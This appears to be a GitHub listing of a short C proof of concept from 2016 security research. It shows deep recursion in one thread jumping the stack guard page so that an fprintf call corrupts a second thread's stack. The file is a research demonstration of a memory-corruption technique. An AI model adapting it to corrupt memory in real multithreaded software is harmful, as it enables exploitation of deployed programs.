-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathstack-overflow-threadrec-poc.c
More file actions
85 lines (68 loc) · 1.79 KB
/
stack-overflow-threadrec-poc.c
File metadata and controls
85 lines (68 loc) · 1.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void *t1_function( int *maxdepth );
void *t2_function( void *ptr );
static int cont = 1;
/*
* Stack Overflow Memory Corruption
* Guard Page Jump via fprintf
* 2016 Markus Vervier, X41 D-Sec GmbH
*/
// gcc -g -lpthread -o threadrec threadrec.c
// *** > run with argument 261881 as recursion depth (or another value on
// your machine
//
void main(int argc, char **argv)
{
pthread_t thread1, thread2;
const char *message1 = "Thread 1";
int iret1, iret2;
if (argc < 2) {
printf("usage: %s recursiondepth # (try 261880)\n");
return;
}
int maxdepth = atoi(argv[1]);
/* Create independent threads each of which will execute function */
iret1 = pthread_create( &thread1, NULL, t1_function, (void*) &maxdepth);
if(iret1)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
exit(EXIT_FAILURE);
}
iret2 = pthread_create( &thread2, NULL, t2_function, (void*) message1);
if(iret2)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
exit(EXIT_FAILURE);
}
printf("pthread_create() for thread 1 returns: %d\n",iret1);
printf("pthread_create() for thread 2 returns: %d\n",iret2);
pthread_join( thread1, NULL);
pthread_join( thread2, NULL);
exit(EXIT_SUCCESS);
}
void r(int depth, int maxdepth) {
if ((depth < maxdepth)) {
r(++depth, maxdepth);
} else {
// __asm__ __volatile__("int3");
fprintf(stderr, "maxdepth baby: %d!AAAAAAAAAAAAAAAAAAAAAAAAAAA\n", depth); // CORRUPT STACK OF THREAD 2
cont = 0;
}
}
void *t1_function( int *maxdepth )
{
printf("Thread 2\n");
r(0,*maxdepth);
}
int check() {
return cont;
}
void *t2_function( void *ptr )
{
char *message;
message = (char *) ptr;
printf("%s\n", message);
while(cont); // wait for the other thread to corrupt our stack ;)
}